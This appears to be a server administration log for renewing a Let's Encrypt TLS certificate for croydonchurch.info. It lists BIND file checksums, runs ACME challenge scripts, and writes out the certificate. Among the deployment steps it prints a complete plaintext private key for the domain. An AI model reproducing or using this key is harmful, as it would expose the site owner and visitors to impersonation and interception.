MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-26 10:09:07: Establishing a connection
2026-05-26 10:09:07: Establishing a connection
2026-05-26 10:09:08: 

PUT: /tmp/pkp108571

#!/bin/bash
if [ -d "/var/www/croydonchurch_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-26 10:09:08: 

chmod 755 /tmp/pkp108571; /tmp/pkp108571; rm /tmp/pkp108571

2026-05-26 10:09:08: 


1


2026-05-26 10:09:09: Establishing a connection
2026-05-26 10:09:09: 

PUT: /tmp/pkp703822

#!/bin/bash
mkdir -p "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cd "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cat > QXMFDlAL_AiEDm3ijXksOGNEHgxUaH1Zp_biL0_uaGc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
QXMFDlAL_AiEDm3ijXksOGNEHgxUaH1Zp_biL0_uaGc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 QXMFDlAL_AiEDm3ijXksOGNEHgxUaH1Zp_biL0_uaGc
cat > KdNe-siFRBNy7WQaLyQ_oeon1daNaJK0ebSTEU_uHpw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
KdNe-siFRBNy7WQaLyQ_oeon1daNaJK0ebSTEU_uHpw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 KdNe-siFRBNy7WQaLyQ_oeon1daNaJK0ebSTEU_uHpw


2026-05-26 10:09:09: 

chmod 755 /tmp/pkp703822; /tmp/pkp703822; rm /tmp/pkp703822

2026-05-26 10:09:09: 




2026-05-26 10:09:21: Establishing a connection
2026-05-26 10:09:21: 

PUT: /tmp/pkp424215

#!/bin/bash
mkdir -p "/var/www/croydonchurch_www/.well-known/acme-challenge/"
cd "/var/www/croydonchurch_www/.well-known/acme-challenge/"
rm QXMFDlAL_AiEDm3ijXksOGNEHgxUaH1Zp_biL0_uaGc
rm KdNe-siFRBNy7WQaLyQ_oeon1daNaJK0ebSTEU_uHpw


2026-05-26 10:09:22: 

chmod 755 /tmp/pkp424215; /tmp/pkp424215; rm /tmp/pkp424215

2026-05-26 10:09:22: 




2026-05-26 10:09:22: Establishing a connection
2026-05-26 10:09:22: 

PUT: /tmp/pkp783591

#!/bin/bash
temp_file=$(mktemp)
TARGET=0bcccb20615b0c7868de66072345a8b6.crt

cat > $temp_file <<'endmsg'
c1:cd:8b:8b:01:be:4a:19:a6:fd:44:2b:b3:0b:0d:51

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBpmaszBEG2kO8Z+vj133yF+kMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTI2MDkxMDUwWhcNMjYwODI0MDkxMDQ5WjAdMRswGQYDVQQD
ExJjcm95ZG9uY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCKueIFYYDSeJH6u4MmG72pD9bzx2TozhXL2z/m7vB0qmj4dPyNPdZIO/CM
b8GNUOzQXaV+Ggd4cZlhb/9wAzoMo2rqKZRPqCOkmoIjYGHLizneR8Sftwdgt+AV
EKGMb8tW0/NDg9Rmzz4c4KIhWhiEPxqAQ9WGvPFygx0c5m9nMNrpVCZgRZKdyrXL
/r/Pon4qD8vWxeNvnfQBWhhOE2GGGnSTDO40Q4wKmxoOBN/3YjvhDDUGM5iwA5Qj
kOCiZB25VqWHPiB8o+Bo3wiGU1+veHj/xtuuT+lU42gwhzTVUxe6PNWtyBlzxk8/
9lLfn5Y0OYARZggSO466WGg9QjEhAgMBAAGjggI4MIICNDAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
tWMdC38MdMa3+DGzdEOZ+ioR1cwwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD76
3OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJjcm95ZG9uY2h1cmNoLmluZm+CFnd3dy5j
cm95ZG9uY2h1cmNoLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8zNy5jcmwwggEMBgorBgEE
AdZ5AgQCBIH9BIH6APgAdgDYCVU7lE96/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VL
FAAAAZ5jwqM1AAAEAwBHMEUCIQCmUNMBmt6UIjX+ZDoD0MjM8u6S/v5rAiwuqIHP
L++7jQIgdaMCxL+Q539e10juc5/e3ZDK65IZkDTuD6hpa2qNz/oAfgBs/lAZQ6he
qRa8UtEz5NzJHvFBHH0lhCDRc4CeGBjrOgAAAZ5jwqUyAAgAAAUADWT0NgQDAEcw
RQIgcRHwgbj42zbNsfbkhdROskR0+r2SzJHDxsQcdI4gNJkCIQCZhGfC+XdGVDAg
t4uemGyG4suZIsVBu5S+//TNOsrg+TANBgkqhkiG9w0BAQsFAAOCAQEA0i1ronwK
J9y05pQskqOzGSG86pmZshXj9RDD6l6V7wNi8x7kTKkaOnlJas9S0gLMAaw96biR
Vv+B5+L/JUdeYAq8JSqyBlxFgTZaQEzrKr0iBwH8MHW+bJcEBV02yvNm8UxVpgIE
sv8bm16yuyjt/X3csWsT1XqQpr05NGL28359SJ2AQBpJrmRDiPSNcIdAOY/xFD4+
N/8DhcvyVbNZDwsnxg1E8zJinvu/E0CnBazl6msDS9Z58xljIrgnSaz9kQUMAYGn
jEKknwrcep0JMLXh/e6YUpyY/LcypzUbx22C3SZFJUh9zDuDUDtHo9tJNTI6XbOz
Uy7nfZ8OEeUKAA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCKueIFYYDSeJH6
u4MmG72pD9bzx2TozhXL2z/m7vB0qmj4dPyNPdZIO/CMb8GNUOzQXaV+Ggd4cZlh
b/9wAzoMo2rqKZRPqCOkmoIjYGHLizneR8Sftwdgt+AVEKGMb8tW0/NDg9Rmzz4c
4KIhWhiEPxqAQ9WGvPFygx0c5m9nMNrpVCZgRZKdyrXL/r/Pon4qD8vWxeNvnfQB
WhhOE2GGGnSTDO40Q4wKmxoOBN/3YjvhDDUGM5iwA5QjkOCiZB25VqWHPiB8o+Bo
3wiGU1+veHj/xtuuT+lU42gwhzTVUxe6PNWtyBlzxk8/9lLfn5Y0OYARZggSO466
WGg9QjEhAgMBAAECggEABA+d+LdafI7QAy2DENYGDtFqYveG0jPaOn4AGGQNQPUO
HpvaGs5hG/s5Nvs8iMUCMbVUF2Vuq41zxoDvUtmdVOphwloWP+C1rmdhgOSc6Eb6
mjGypVRH0IKBekxi1kgdhTyuJd9Rk/LkKBdBV8WZ6yEnxvJ1aTzVuprw+rwaLcSa
0qb7BaFoF7ZvPgxxhtFPDyVO6HdV8QDWBEldJFbDd21vFpwS4hzpkL4xPgKTaLT7
kAEQhPxmvVnXiJ3GLCbHjl5vAMgJ6H3tik7sESj5JoJfuHNfORbOCvvf5DPtt/KY
POx3HiF3aLKiqY9FUX6RcauGErmfnf/ukrGrCVtWGwKBgQDAzQPVT2K+ACqqGJVH
0jH1wgsmRE6pVxvI8dqwvRiJfo3bqFOByoumOImy/FpD7vAALOdzYCyx0YJoBIZl
lKk0RUMsJtg0kiaog3gwYQGcSnno33R3YeXJylcAjoQlRRi+EF7Jyub9uLZj+rJL
GjWAM7+zDAHkV2ERZOYZOp3oTwKBgQC4MyhlRFX1F4RL9Ammhl5Vxderzp0RnnFa
NuCwqb7BliP668UqvJxAmqgwZjkyx5wp0yafFNuBJ/N6Hv/3oKa8MsJ+nl/TKMJ3
2RBToZxyZnV973iqSq0XXOx/G4fojKZo8I/px7arfN/VXFv/qayt9JqpKO0RTI+N
/yWeM8ODjwKBgEPSWrzY1jVcPaXkS+8d4/E9t0pY0QsE14NSgMmXW2BSonhYuDd6
FrH8RYQu/VnUXZzSLwEJHe/XcXZB0T0+lF8M1lpbt8aWev7gcJEkLrraABSJNqEg
UQMxKHXLrHSn39JMU+vMcoFiTtbQw5NjvtpAWfkUCj5W9pB12/OYCSBFAoGAXhPC
zfXY8RTRvPkm9KYsCCLDxDwCfL0vp6PfnlsT0kuclMtWKD2skFJtFEsha44HdFUj
pJxCf/SnpfevRAoJHpXOQF0jE/X9XLjAXfZssQEjgO6N8muxe/05zLGC+ILdezti
RUR7R5q/t3k0g59lUnNbioocinlP2HY4AFTvxoECgYEAjmzQczYxIVpBkLte1Mqg
gy3mHY/xlzqD5oGwiv3eQJeFFVlLlR33+rIEGdNULm+lH6Qqo3NpCh5SlnBpGwbH
5ytBxG7jiZ0kobKqs/mwYcoTCfoIvSKL9OPZ0XVE9gbKIB6NHtpekBaT0wV1b/5r
+6+75iLjNCKXT+L6T1PL5uA=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
